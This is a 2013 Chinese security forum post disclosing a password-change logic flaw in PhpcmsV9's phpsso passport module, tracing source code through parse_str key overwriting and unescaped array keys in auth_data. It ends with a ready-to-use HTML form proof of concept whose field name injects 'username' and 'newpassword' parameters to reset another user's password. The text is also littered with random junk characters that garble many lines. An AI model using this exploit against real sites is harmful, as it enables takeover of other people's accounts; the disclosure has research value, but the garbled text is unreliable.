找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2043|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
. v" _1 Y$ H+ `0 k* ~
  K0 L* @7 X7 j1 J, G
" H+ J1 J" b/ z% M) s6 aparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);: [, m+ b3 L4 _( D
5 l" U2 a) g2 o% j' q6 m' q. Y
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 P  b6 e8 `1 f+ x4 B

8 J! i9 z; N7 ^4 t0 E$ t) u. C我把它留给了你们。
1 j5 U: x; p' y  P  C. F不知道你们发现了它没有。, }: v( W" J/ x3 I- C* x3 g
* A: u# ^0 H) [6 D
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。% q% x' f2 I( E  i% c) O" F4 v$ |
5 D+ [6 c: \' ^# l/ Z3 j( O0 ^  F
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
9 z2 }* \* B/ z+ |4 m% w/ s8 b4 p7 G$ w
也就是. }  H$ S3 u  Q

& Y& L) E' Y- Z# ]# ]username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; M% m/ W5 O1 g" g
) m( L- T5 r: Y- ^% U" f* Q7 X( T要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。, J0 p( n6 G9 \. b* J+ s

0 c/ L0 [( q9 j0 S9 b
4 q$ E) J8 w9 z其实我们有这样的机会,看看代码,如下:
, h( R* G- Q% g% Q1 r% K
- ~7 I  U9 N& |4 y9 ~6 v
. Q! w  P! K. N  V' l0 `# h1 s9 dpublic function auth_data($data) {5 ]4 P3 B8 M7 Y+ B3 i6 D
                $s = $sep = '';. F( W+ Q9 i! u* z; |" E& L
                foreach($data as $k => $v) {, V; b% J" d& y  @
                        if(is_array($v)) {
- J% C( I. A3 T. f/ K: N                                $s2 = $sep2 = '';% R# f. @& k1 Y) a
                                foreach($v as $k2 => $v2) {
- l3 j! X5 s1 U                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);' Y& b' Y& I- L$ |$ X
                                        $sep2 = '&';2 ?1 N4 N# `  _- q: V  I
                                }3 ?8 [- V$ `2 A4 V4 H8 t" C
                                $s .= $sep.$s2;! Q3 C0 Y& T  a4 Z' O
                        } else {
- m6 X# b4 u+ |+ K9 i* \! e6 u                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
- s, o  ]9 |& W; ]' v/ N6 l                        }
- ^8 A( G/ n4 X) K3 M( }                        $sep = '&';5 I3 C; t% E' `2 d# N
                }. i. o$ |; R) y  c
6 H1 o7 c: G: E6 L
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));- M+ e; s) ]; d4 ]4 U" e# v  s
                return $auth_s;
' K- f/ v. a* y6 @. |        }) m4 {! ^3 b/ L( f# ?

  u& K) c9 i7 l" ~. _: e2 @* [% \可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
: E0 g# K# I4 W$ z+ y6 l6 I4 w5 x1 n, U, P- @4 X' J0 I
举个例子& k$ [/ Z% [2 Z0 O1 V: O3 e9 x6 R

. ], W; I6 K+ |$ Y7 ~0 }: P* L$a[aaa=a&bbb] = 'a';
9 Z. n% ^  j$ c
& d4 Q* H3 \8 @' n6 c9 I会变成aaa=a&bbb=a
& P' a' d* e8 ^% k1 C
$ q/ p9 h! G9 {# X明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
1 T  t7 H2 M# Q6 N0 k7 l9 j4 G
2 l* x8 Z8 {' h4 Q5 ^/ g+ u这个时候,我们可以再去看一个函数。
/ c8 i1 L) w& G$ X) }6 B
& `0 B4 q' r$ O* t( Z# h4 m就在这个文件内:
% R2 D! w3 k% Z- v) H! s9 W$ b
' u+ p7 m5 o+ A- f4 m
4 w( Z. m; @5 U4 O# h4 v* {public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {! t% @; r0 z- T. z* y% B% @
                if($email && !$this->_is_email($email)) {
/ ~; u2 u) x0 h. A0 y+ k4 |                        return -4;- U# s4 @+ v8 Y
                }: u6 I9 z3 m# c! V) Y# j' z
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));, S+ z# Y  F7 K! s) @
        }% ^& V' y& b: X

/ J" }; A( x, ]9 ^+ w2 u3 G这是向通行证发了这样一个请求。6 f2 b0 \) G3 m; C. j6 }. k/ Y
7 d& F6 P' X( c5 N: j, e+ X9 j
我们再跟到通信证代码里去看看,就会有所发现。% C5 L! n3 K' Y( ?! o. G

- z/ S( ]4 L* o! P, r# c( ^% C" j' Y) F4 B* d
public function edit() {
7 v' J* l1 h* j/ ]* i//能省就省,太长了不是吗?
" C1 j' f+ }9 }! E" W8 s! L8 u) z/ ]9 K- g
if($this->username) {
2 G7 x( @" b: o+ ]; N* H/ |//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
3 l; V% L- k3 G1 {2 U                                $res = $this->db->update($data, array('username'=>$this->username));" p/ ]( ]& s  n  B  ~# L
                        } else {6 A0 B9 i- @" s2 T8 z8 ~
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ B% i7 [' e+ D! v                                $res = $this->db->update($data, array('uid'=>$this->uid));
9 n; F1 h9 r- k                        }3 T! J* Q' `  m- G2 M) x( `& Z
( d, U+ V7 ]$ j! y0 }4 b7 M# Q5 W
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
, Z5 |0 `: n5 \. |+ p" T% T: S* r% [+ ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
" n$ M; Q; Q( i. y: ?, w  Y7 N1 L0 z6 [! n! a, p1 @. T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: b! H# l8 N  T- c( q; t! I( v7 j
, {% I9 U7 R( u# ]- @6 J( O我当然找到了:4 b4 E7 A2 e$ U/ v/ z/ y
phpcms9/phpcms/modules/member/index.php
4 E  Z* {+ x) @: W9 N3 k
# x8 M% O! A& r+ Y5 p$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
; o! ]$ T+ U2 M: ]4 X* w$ i3 J
1 I4 b1 e6 }8 y( B2 [$ o' t6 V然后就没有然后了。# f% W5 S5 M5 n' l  }

. @2 @, V- }/ H+ T<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">. ~0 y  J& D! V- ^6 }
                                <table width="100%" cellspacing="0" class="table_form">' P# F# [. u( P# Q: c- F& C
                                        <tr>" u7 @9 ]* G) @; K+ Q
                                                <th width="80">邮箱:</th>        0 y  j9 _0 f9 x/ f% m
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 L' I* m/ p3 |6 P) H
                                        </tr>
' e8 r+ V2 h+ f2 A                                        <tr>, A6 c7 f6 S  ?
                                                <th width="80">原密码:</th>        
" J+ E5 V2 h0 B4 t/ D                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>4 b+ d* e' Y# {) E; Z* b8 H
                                        </tr>
6 Q) I# b( f) I/ X) Z                                        <tr>
. `( {6 F% o# X, w- @6 \* ^: r* j                                                <th>新密码:</th>
$ Y$ \$ l" ]/ F& J                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 f2 f# }2 a$ D0 `                                        </tr>
1 D4 [7 y4 a+ t5 V                                        <th></th>
$ a. t0 m% Z8 ^# z1 L2 L' d5 y                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
1 _" |# R) a% P- f                                        </tr>
3 {8 Z! Z. \( D) i! n+ W& ]                                </table>
3 ~' C' d+ {9 ^$ ]
, p: P6 O! ?  l2 P2 N                                + ?6 `0 U% b/ G
                        </form>2 m& n3 `; d3 [. t, }* t. W9 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表